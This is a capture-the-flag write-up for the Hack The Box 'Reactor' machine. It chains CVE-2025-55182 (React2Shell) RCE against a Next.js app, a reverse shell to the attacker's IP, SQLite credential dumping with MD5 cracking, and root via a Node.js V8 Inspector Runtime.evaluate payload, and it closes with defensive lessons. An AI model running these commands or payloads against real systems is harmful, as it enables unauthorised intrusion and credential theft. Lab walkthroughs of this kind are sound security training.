🏭Reactor
HTB Reactor — Detailed Solution Notes
Platform: Hack The Box | Machine: Reactor | OS: Linux (Ubuntu 24.04) | Difficulty: Medium | Vulnerability Types: CVE-2025-55182 (React2Shell RCE), SQLite Credential Dump, Node.js V8 Inspector Privilege Escalation
How Does a Hacker Think? — Modern Web Frameworks as an Attack Surface
When only two ports are open (22 and 3000), the machine looks straightforward. But if port 3000 is running a Next.js application with React Server Components enabled, the picture changes entirely. RSC is a mechanism that renders React components server-side and streams the result back to the client. When this mechanism blindly trusts incoming payloads during deserialization, it opens a direct path to unauthenticated remote code execution. The key question is always: "What data does this server touch, and how much does it trust it?"
1. Reconnaissance
Network Scan
nmap -sV -sC -p- --min-rate 5000 10.129.165.180 -oN full_scan.txtTwo open ports are identified. Port 22 runs OpenSSH 9.6p1 on Ubuntu. Port 3000 returns HTTP responses containing X-Powered-By: Next.js and Vary: RSC, Next-Router-State-Tree headers. These headers explicitly confirm the application is using React Server Components.
Hosts File
echo "10.129.165.180 reactor.htb" >> /etc/hostsWeb Application Analysis
Navigating to http://reactor.htb:3000 presents ReactorWatch, a nuclear reactor core monitoring dashboard. The page appears static, but inspecting the RSC payload embedded in the HTML source reveals the Next.js build ID:
"b":"L3bimJe_3LvBcFWAnK5L4"This ID can be used to access /_next/static/<buildID>/_buildManifest.js, which normally lists all application routes. Since the application uses App Router, the manifest comes back empty — routes are not exposed through this file.
The personnel panel lists three staff members: Dr. Elena Rodriguez (Lead Nuclear Engineer), Marcus Kim (Senior Technician), and James Thompson (Safety Officer — OFFLINE). These names represent potential usernames for later stages.
CVE Research
The Vary: RSC header in HTTP responses signals active use of the RSC subsystem. Searching for recent Next.js vulnerabilities tied to RSC leads directly to CVE-2025-55182, colloquially known as React2Shell: a specially crafted payload sent to the RSC endpoint triggers JavaScript prototype pollution, which in turn reaches child_process.exec() and achieves unauthenticated remote code execution.
2. Initial Foothold — CVE-2025-55182 (RSC Deserialization RCE)
What Is the Vulnerability?
React Server Components deserializes client-supplied payloads on the server during the component render cycle. The vulnerability arises because this deserialization process permits pollution of the JavaScript prototype chain. When pollution propagates deeply enough, Node.js's child_process module becomes accessible and can be invoked with attacker-controlled arguments. The attack chain is:
RSC endpoint → prototype pollution → child_process.exec() → RCENo authentication is required because the RSC endpoint is intentionally public — Next.js exposes it as a core feature.
Exploit Setup
git clone https://github.com/Chocapikk/CVE-2025-55182
cd CVE-2025-55182
pip install -r requirements.txt --break-system-packagesCommand Execution Test
python3 exploit.py -u http://reactor.htb:3000 -c "id"Response: uid=999(node) gid=988(node) groups=988(node) — the application runs as the node user.
Reverse Shell
The exploit manages its own listener internally, so no separate netcat session is needed:
python3 exploit.py -u http://reactor.htb:3000 -r -l 10.10.16.26 -p 4444 -P nc-mkfifoShell stabilization:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xtermShell obtained: node@reactor:/opt/reactor-app$
3. Lateral Movement — SQLite Credential Dump
How Does a Hacker Think?
Upon landing in an application directory, the first targets are always the .env file and any database files present. Environment files tend to contain credentials, API keys, and connection strings. Database files often hold user tables — which typically means hashed passwords. These two artifacts together can unlock the next phase without any further exploitation.
.env File
cat /opt/reactor-app/.envDB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=productionThe database path is explicitly declared.
Database Enumeration
sqlite3 reactor.db .tables
sqlite3 reactor.db "SELECT * FROM users;"Records returned:
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htbHash Cracking
The hash format is MD5 (hashcat mode 0). Run on the Kali machine:
echo "a203b22191d744a4e70ada5c101b17b8" > hashes.txt
echo "39d97110eafe2a9a68639812cd271e8e" >> hashes.txt
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txtResult: the engineer account cracks to reactor1. The admin hash is not found in the rockyou wordlist.
SSH Access
ssh engineer@reactor.htb
# Password: reactor1User flag obtained: /home/engineer/user.txt ✅
4. Privilege Escalation — Node.js V8 Inspector Exploitation
How Does a Hacker Think?
After gaining a new shell, the first enumeration steps should always include sudo -l, listing open ports, and reviewing running processes. Services listening on the loopback interface deserve particular attention — they are often privileged internal interfaces that were never intended to be exposed externally. If such a service runs as root and accepts unauthenticated connections, it becomes an immediate privilege escalation vector.
Local Service Discovery
ss -tlnp127.0.0.1:9229 → Node.js V8 Inspector
*:3000 → Next.js applicationps aux | grep noderoot 1417 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.jsPort 9229 is Node.js's default debug port. A process started with --inspect accepts WebSocket connections and allows the connected client to evaluate arbitrary JavaScript within that process's context. Since this process belongs to root, connecting to it means executing code as root.
SSH Port Forwarding
A tunnel is established to reach the loopback-bound port from the attack machine:
sshpass -p 'reactor1' ssh -L 9229:127.0.0.1:9229 engineer@reactor.htb -N -fVerifying the tunnel:
ss -tlnp | grep 9229V8 Inspector WebSocket URL Discovery
curl -s http://127.0.0.1:9229/jsonThe response exposes the WebSocket debugger URL directly:
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/dc35896a-688b-408d-adf9-f7a3d9063fb9"Root Flag
Using Python's websocket-client library, a connection is established to the inspector and Runtime.evaluate is invoked to run a command in the root context:
python3 -c "
import websocket, json
ws = websocket.create_connection('ws://127.0.0.1:9229/dc35896a-688b-408d-adf9-f7a3d9063fb9')
ws.send(json.dumps({'id':1,'method':'Runtime.evaluate','params':{'expression':'process.mainModule.require(\"child_process\").execSync(\"cat /root/root.txt\").toString()'}}))
print(ws.recv())
"Root flag obtained ✅
Core Techniques Used
RSC Header Analysis was the pivot point for the entire attack. The Vary: RSC header in HTTP responses was enough to narrow the search to React Server Component vulnerabilities, leading directly to CVE-2025-55182 without ever obtaining a version number.
CVE-2025-55182 (React2Shell) turned the publicly accessible RSC endpoint into an unauthenticated RCE primitive. The exploit leverages prototype pollution during RSC payload deserialization to reach child_process.exec(). No authentication bypass was needed — the vulnerable endpoint is open by design.
SQLite Database Analysis followed naturally from reading the .env file found in the application directory. The MD5 hashes stored in the user table were cracked offline with hashcat and rockyou, enabling lateral movement to a real system account.
Node.js V8 Inspector Exploitation was the result of careful local enumeration. Port 9229 on the loopback interface, combined with the --inspect flag visible in ps aux, immediately identified the privilege escalation path. SSH port forwarding brought the port within reach, and the WebSocket-based Runtime.evaluate call completed the chain by executing code in the root process context.
General Hacker Mindset Summary
Never trust a framework just because it's modern. React Server Components is a cutting-edge feature, but "new" does not mean "secure." Any server-side mechanism that deserializes client input and passes it into a JavaScript runtime without strict validation is a potential code execution surface.
The .env file is always worth reading. When shell access lands inside an application directory, the environment file is the fastest route to credentials. Database paths, API keys, and connection strings in a single file often map directly to the next phase of the attack.
Loopback services are hidden doors. A service not exposed to the outside world is not the same as a secure service. Running ss -tlnp and ps aux together reveals which processes are listening on loopback, under what user context, and with what flags — three pieces of information that together can define the entire privilege escalation path.
Debug ports have no place in production. The --inspect flag on a root-owned Node.js process is not a subtle misconfiguration — it is a full remote code execution primitive waiting to be triggered. The V8 Inspector protocol was designed for development tools, not production environments. When it runs as root and binds to an interface reachable by low-privileged users, it collapses the entire privilege boundary.
You might also want to look at these